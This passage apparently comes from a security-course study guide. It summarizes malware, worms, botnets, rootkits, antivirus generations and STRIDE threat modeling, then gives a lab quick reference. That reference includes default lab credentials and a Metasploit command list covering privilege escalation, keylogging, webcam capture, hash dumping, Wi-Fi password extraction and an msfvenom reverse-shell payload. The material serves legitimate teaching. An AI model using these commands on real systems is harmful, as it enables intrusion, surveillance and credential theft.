Stealth	Explicitly hides from AV — code mutation, compression, rootkit techniques.
Polymorphic	Same function, different bit pattern each copy (mutation engine). Harder to detect.
Metamorphic	Completely rewrites itself at each iteration. Can also change behavior. Hardest to detect.

Macro viruses: infect documents (Word/Excel/PDF). Platform-independent. Easy to write. NOT blocked by file-system access controls. Example: Melissa (1998) — forwarded to 50 Outlook contacts.

Virus target types: Boot sector infector, File infector, Macro virus, Multipartite (multiple file types).

9.3 Worm Details

Scanning Strategy	Description
Random	Probes random IPs. High traffic volume before attack.
Hit-list	Pre-compiled vulnerable host list (gathered slowly to avoid detection). Very short scan period after.
Topological	Uses info on infected machine (host tables, address books) to find next targets.
Local subnet	Behind a firewall — scans own LAN using subnet addressing.

Worm propagation model: (1) Exponential start — each host infects 2 more; (2) Linear middle — wasting time re-attacking; (3) Slow finish — hard-to-find hosts remain. Goal: catch in slow start.

Notable Worms:

Worm	Year	Key Facts
Morris	1988	First significant UNIX worm. Cracked passwords, finger bug, sendmail trapdoor. Unintentionally widespread.
Melissa	1998	Email worm + macro virus + Trojan. Word macro → forwarded to 50 Outlook contacts. 100K+ PCs in 3 days.
Code Red	2001	Exploited IIS vuln. Random spread → DDoS'd gov site. 360K servers in 14 hours.
Nimda	2001	5 propagation methods: email, Windows shares, web servers, web clients, Code Red II backdoors.
SQL Slammer	2003	Extremely compact. Infected 90% of vulnerable hosts in 10 minutes. Major internet congestion.
Conficker	2008	Windows buffer overflow + USB + network shares. Still common years later.
Stuxnet	2010	4 ZERO-DAY exploits. Targeted Iranian centrifuges (ICS/SCADA). Deliberately slow spread. First cyberweapon vs physical infra.
WannaCry	2017	Ransomware worm. EternalBlue (SMB). 150+ countries. Kill-switch domain activated by UK researcher.

9.4 Bots and Botnets

C&C; evolution: (1) IRC-based (early), (2) HTTP-based covert channels, (3) Peer-to-peer (no single point of failure).

Anti-takedown: DGA (Domain Generation Algorithms — auto-generates massive domain lists), Fast-flux DNS (C&C; IP changes every few minutes).

Bot Use	Description
DDoS	Coordinated flood attacks causing service loss
Email spam	Massive bulk email for phishing and malware distribution
Spyware	Credentials, credit cards, bank details via keystrokes/traffic/screen monitoring
Click fraud	Automatically clicks ads for attacker profit; manipulates polls/games
Bitcoin mining	Uses victim CPU/GPU resources for attacker's crypto mining
File sharing	Hosts web/FTP server distributing malware or pirated content
Chatterbots	Connects to chat/dating rooms pretending to be human; gathers personal info

9.5 Rootkit Classification

Type	Description / Detection Difficulty
Persistent	Activates each boot; code in registry/filesystem. Easier to detect via persistent storage scan.
Memory-based	No persistent code; dies on reboot. No file to scan — harder to detect while running.
User-mode	Intercepts API calls; hides files from directory listing. Detectable from kernel level.
Kernel-mode	Intercepts native kernel APIs; removes processes from kernel list. 3 techniques: modify syscall table, overwrite routines, redirect to kernel.
Virtual machine-based	Installs lightweight hypervisor; runs OS inside VM. Rootkit below OS visibility — transparent to kernel.
External (UEFI/BIOS/SMM)	BIOS/UEFI/SMM. Direct hardware access. UEFI rootkit downloads fresh payload on each boot. May require hardware replacement.

Detection: network/host IDS for rootkit signatures; behavior detection (syscall interception patterns); file integrity checks — API scan vs direct storage view (e.g. RootkitRevealer). Kernel/VM rootkit → full OS reinstall. UEFI rootkit → hardware replacement.

9.6 Antivirus Generations

Generation	Approach
1st — Simple scanners	Match malware signatures (fixed bit patterns, wildcards). Check program length for changes. Only known malware.
2nd — Heuristic scanners	Rules rather than signatures. Looks for code fragments associated with malware. Integrity checking: encrypted hash appended to code.
3rd — Activity traps	Memory-resident; detects malware by ACTIONS not structure. Dynamic analysis of behaviors.
4th — Full-featured packages	Combines scanning + activity traps + access control. Defense-in-depth.

Sandbox analysis: runs code in emulated environment to monitor behavior. Detects encrypted/polymorphic malware. Arms race: malware checks for sandbox, uses sleep, logic bombs for specific dates/system types.

9.7 Key Exam Comparisons

Comparison	Key Difference
Virus vs Worm	Virus: parasitic, needs host, user must execute. Worm: self-contained, self-propagates, exploits network vulns automatically.
Virus vs Trojan	Virus: self-replicates. Trojan: does NOT replicate — looks useful but has hidden malicious function.
Polymorphic vs Metamorphic	Polymorphic: same function, different bit pattern (mutation engine). Metamorphic: COMPLETE rewrite at each iteration; can change function.
Phishing vs Spear-phishing	Phishing: mass-distributed, generic. Spear-phishing: targeted, uses researched personal details — much higher success rate.
Bot vs Worm	Worm: self-propagates AND self-activates. Bot: requires external C&C to activate/control.

Comparison	Key Difference
Backdoor vs Rootkit	Backdoor: hidden entry point. Rootkit: comprehensive tools maintaining root access AND hiding presence.
User-mode vs Kernel-mode	User-mode: modifies APIs — detectable from kernel. Kernel-mode: modifies kernel — AV runs above it and is subverted.
Drive-by vs Watering-hole	Drive-by: opportunistic (anyone visiting). Watering-hole: targeted (attacker compromises sites visited by intended victims).
APT	Advanced (custom tools) + Persistent (long-term) + Threat (organized, funded). Uses zero-days. Harder to defend than standard

10 · THREAT MODELING

Structured security process identifying, quantifying, and addressing risks from an ATTACKER's perspective — before the attacker does. Core part of SDLC. Output = Threat Model document.

Key insight: looks at system as attacker would, not defender. Adding early in SDLC dramatically reduces remediation cost.

10.1 The 4-Step Threat Modeling Process (OWASP)

Step	Name	What to do
1	Decompose the Application (Scope)	Draw DFDs, identify Entry Points, Exit Points, Assets, Trust Levels, External Dependencies
2	Determine Threats	Apply STRIDE to each component/flow in DFD; build threat trees; use/abuse cases
3	Determine Countermeasures & Mitigation	Map countermeasure to each threat; threats with no countermeasure = vulnerabilities; prioritize by risk
4	Assess Your Work	Verify you have: (1) diagram, (2) threats list, (3) controls list — all traceable to each other

Risk mitigation strategies: Accept (document + who accepted), Eliminate (remove vulnerable component), Mitigate (add controls — most common), Transfer (insurance/contract).

10.2 Threat Model Document Components

Component	Purpose
Application Name/Version	Identifies what's being modeled
Description	High-level summary
Document Owner / Participants / Reviewers	Accountability and sign-off
External Dependencies	Systems outside app boundary (DBs, OS, firewalls)
Entry Points	All interfaces where attacker can interact or inject data
Exit Points	Where data leaves (risk: XSS, info disclosure, account harvesting)
Assets	What needs protecting: data, availability, execution rights, reputation
Trust Levels	Access rights granted to different roles/entities
Data Flow Diagrams (DFDs)	Visual representation of data movement and trust boundaries
Threat List (STRIDE)	Enumerated threats per component/flow
Countermeasures List	Controls mapped to each threat

10.3 DFD Symbols

Symbol	Name	Description
Rectangle / Square	External Entity	Anything outside the app (user, external service)
Circle / Rounded box	Process	Task that handles or transforms data
Double circle	Multiple Process	Collection of sub-processes; expandable into own DFD
Two parallel lines	Data Store	Where data is stored (DB, file, cache). Does NOT modify data.
Arrow	Data Flow	Movement of data; direction shows flow
Dashed line	Trust/Privilege Boundary	Where trust level changes — every crossing = potential threat vector

Trust boundaries: **MOST IMPORTANT** for threat identification. Every data crossing = re-evaluate threats. Examples: internet→DMZ, DMZ→internal, user input→app logic, app→database.

Entry points use major.minor notation: 1=HTTPS port, 1.1=main page, 1.2=login page, 1.2.1=login function.

10.4 STRIDE — Threat Categories

S-T-R-I-D-E	Threat Category	Security Property Violated	Key Mitigations
S — Spoofing	Impersonating another user or process	Authentication	Strong auth, MFA, protect secrets, no plaintext passwords
T — Tampering	Malicious data modification in transit or at rest	Integrity	Authorization, HMAC/MACs, digital signatures, tamper-resistant protocols, hashing
R — Repudiation	Performing action and denying it	Non-Repudiation	Digital signatures, timestamps, immutable audit logs
I — Info Disclosure	Reading data one shouldn't see	Confidentiality	Authorization, encryption, TLS, don't store secrets
D — Denial of Service	Preventing legitimate access	Availability	Auth, rate limiting/throttling, filtering, Quality of Service
E — Elevation of Privilege	Gaining higher access than intended	Authorization	Least privilege, RBAC, input validation

STRIDE is attacker-GOAL oriented. MITRE ATT&CK; is attacker-TECHNIQUE oriented (better for operational/incident response modeling).

Mnemonic: S-T-R-I-D-E = Auth, Integrity, Non-Repudiation, Confidentiality, Availability, Authorization.

10.5 Threat Analysis and Risk Ranking

Process: For each component/flow → evaluate all STRIDE threats → build threat tree → use/abuse cases → typed threat list with root causes and mitigations.

Risk Factor	Key Questions
Likelihood	Can it be exploited remotely? Auth required? Can exploit be automated?

Risk Factor	Key Questions
Damage Potential	Full system takeover? Admin access? Crash? Sensitive data exposed?
Affected Scope	How many components/layers can be impacted?
Ease of Discovery	How easy to find the vulnerability?
Ease of Exploit	How easy to actually execute the attack?

Use qualitative values (High/Medium/Low) not DREAD numbers — pure numbers create false precision and subjective results.

10.6 Threat Mitigation Status

Status	Meaning
Non-Mitigated	No countermeasure; fully exploitable; HIGHEST PRIORITY to fix
Partially Mitigated	Some controls exist but threat still partially exploitable
Fully Mitigated	Appropriate countermeasures in place; no exposed vulnerability

10.7 Microsoft Threat Modeling Tool (MS TMT)

Free GUI tool (GA September 2018) implementing SDL threat modeling. Auto-generates STRIDE threats from drawn DFD.

Feature	What it Does
Azure Threat Model Template	Azure-specific stencils, threats, mitigations, documentation links. Default for cloud.
SDL TM Knowledge Base	Generic (non-Azure) template. Full STRIDE threat generation.
Trust Boundaries	Red dotted lines on DFD showing where entities are in different trust zones
Analysis View	Auto-generates STRIDE threats from diagram
Threat Properties Window	Title, category, description, interaction, priority for each threat
Status Field	Not Started / Needs Investigation / Mitigated / Not Applicable
Reports → Create Full Report	Exports complete threat model report (shareable PDF/Word)
OneDrive integration	Save/share .tm7 model files with team

MS TMT Workflow: (1) Select template → (2) Draw DFD with External Entities/Processes/Data Stores/Data Flows/Trust Boundaries → (3) Analysis View → auto-generated STRIDE threats → (4) Review each threat, add notes, set status → (5) Generate Full Report → (6) Check model into source control.

10.8 Key Relationships (Exam Connections)

Relationship	Connection
STRIDE ↔ DFD	STRIDE applied to every element in DFD — each process, store, flow, and trust boundary crossing
STRIDE ↔ Countermeasures	Each STRIDE category has mapped security property and canonical mitigations
Entry Points ↔ Trust Levels	Every entry point specifies which trust levels are allowed — who can reach what
Assets ↔ Trust Levels	Every asset specifies required trust level — cross-referencing reveals privesc risks
DFD Trust Boundaries ↔ Threats	Every trust boundary crossing = potential threat vector. MS TMT auto-flags threats at boundaries.
Threat Trees ↔ Risk Ranking	Trees expose root cause vulns; ranking determines which to fix first
Threat Model ↔ Code Review	Threat model tells reviewers WHERE to focus. High-risk entry points get depth-first review.
MS TMT ↔ OWASP 4-Step	Tool implements: diagram (Step 1), auto STRIDE (Step 2), mitigation notes (Step 3), sign-off (Step 4)

10.9 Key Terms Quick Reference

Term	One-Line Definition
Threat Modeling	Structured process identifying, ranking, addressing threats from attacker's perspective
SDLC	Software Development Life Cycle — integrate threat modeling from the start
STRIDE	6 threat categories: Spoofing, Tampering, Repudiation, Info Disclosure, DoS, EoP
DFD	Data Flow Diagram — visual map of data movement, components, trust boundaries
Trust Boundary	Where trust level changes; every crossing = potential threat
Entry Point	Interface where attacker can interact with or supply data to the application
Exit Point	Where data leaves; risk of XSS, info disclosure, account harvesting
Asset	Anything of value needing protection (data, availability, execution rights, reputation)
Trust Level	Access rights granted to a specific external entity or role
External Dependency	Systems outside app/dev team's control (OS, firewall, DB server)
Threat Tree	Diagram showing attack path, root cause, and mitigations
Use/Abuse Case	Scenario showing how protective measures can be bypassed or are absent
DREAD	Older MS numerical risk model (Damage, Reproducibility, Exploitability, Affected, Discoverability) — largely replaced
MITRE ATT&CK	Technique-based attack framework for operational/incident threat modeling
SDL	Microsoft Security Development Lifecycle — threat modeling is a core SDL activity
Not Applicable (status)	Threat exists in theory but doesn't apply due to existing mitigations or design
Depth-first code review	Review high-risk areas (flagged by threat model) more intensively

11 · GLOBAL QUICK REFERENCE

11.1 Default Credentials

System	Username	Password
Metasploitable 2	msfadmin	msfadmin
Metasploitable 3 (Ubuntu ub1404)	vagrant	vagrant
Metasploitable 3 (Windows win2k8)	vagrant	vagrant
Kali Linux (default install)	kali	kali (or set during installation)

11.2 Download/Setup URLs

Resource	URL
Metasploitable 2 (Rapid7)	https://information.rapid7.com/metasploitable-download.html
Metasploitable 2 (SourceForge)	https://sourceforge.net/projects/metasploitable/
Metasploitable 3 (GitHub)	https://github.com/rapid7/metasploitable3
Kali Linux	https://www.kali.org/get-kali/
Linux Command Line	https://linuxcommand.org/index.php
Rapid7 Metasploit DB	https://www.rapid7.com/db/modules/
Vagrantup.com	https://www.vagrantup.com

11.3 Metasploit Full Workflow

Phase	Command(s)
Start Metasploit	service postgresql start → msfdb init → msfconsole
Check DB	db_status
Search exploits	search name:smb / search platform:Windows / search cve:2017
Load + configure	use <path> → show options → set RHOST <ip> → set LHOST <ip> → run
List sessions	sessions -l
Connect to session	sessions -i 1
System info	sysinfo
Current user	getuid
Native shell	shell
List processes	ps
Migrate process	migrate <PID>
Escalate	use priv → getsystem
Screenshot	screenshot
Keylogger	keyscan_start → keyscan_dump
Webcam	webcam_list → webcam_snap
Download file	download secretstuff.txt
Dump hashes	run post/windows/gather/hashdump
Check if VM	run post/windows/gather/checkvm
Enum apps	run post/windows/gather/enum_applications
Suggest privesc	run post/multi/recon/local_exploit_suggester
Wi-Fi passwords	run post/windows/wlan/wlan_profile
Create EXE payload	msfvenom -p windows/meterpreter/reverse_tcp lhost=<ip> lport=4444 -f exe -o payload.exe
Kill a job	jobs → kill <id>

11.4 Adapter Performance Summary

Adapter	Performance	OS Support
virtio-net (paravirtualized)	BEST — no hardware emulation, uses 256KB windows (4 VM drivers)	Linux, Windows (4)
Intel PRO/1000 MT Desktop (82540EM)	Good — seg offload supported	Windows Vista+
Intel PRO/1000 T Server (82543GC)	Good	Windows XP (no extra driver)
Intel PRO/1000 MT Server (82545EM)	Good	OVF imports from VMware/Hyper-V
AMD PCNet FAST III (Am79C973)	DEFAULT — broad compat, legacy	Many old OSes + GRUB
AMD PCNet PCI II (Am79C970A)	Old — lowest perf	Broadest compatibility

11.5 Glossary

Term	Definition
VM	Virtual Machine — software emulation of a computer; runs an OS inside another OS
Hypervisor	Software creating/running VMs. VirtualBox = Type 2 (runs on host OS).
Snapshot	Saved VM state — revert to this point. Essential for lab work.
Host machine	Physical machine running VirtualBox
Guest machine	VM running inside VirtualBox
RHOST	Remote HOST — target's IP address in Metasploit
LHOST	Local HOST — attacker's IP (Kali) in Metasploit; used for reverse shell callbacks

Term	Definition
Shell	Command-line access. Reverse shell: connects back from target to attacker.
Payload	Code running on target after successful exploit (e.g. reverse shell, Meterpreter)
Module	Self-contained Metasploit unit: exploit, scanner, or post-exploitation
VDI	VirtualBox Disk Image — VirtualBox's virtual hard drive format
VMDK	VMware Disk Image — also compatible with VirtualBox
ISO	Disc image file — used to install OSes from virtual optical drives
Vagrant	Tool to provision/manage VMs from Vagrantfile configuration
PAE/NX	Physical Address Extension (>4GB RAM for 32-bit) / No-Execute bit (hardware security)
SUID	Set User ID — file runs with owner's permissions; critical privesc target
Meterpreter	Metasploit's advanced post-exploitation shell with surveillance + file + network commands
msfvenom	Metasploit payload generator — creates standalone payloads in any format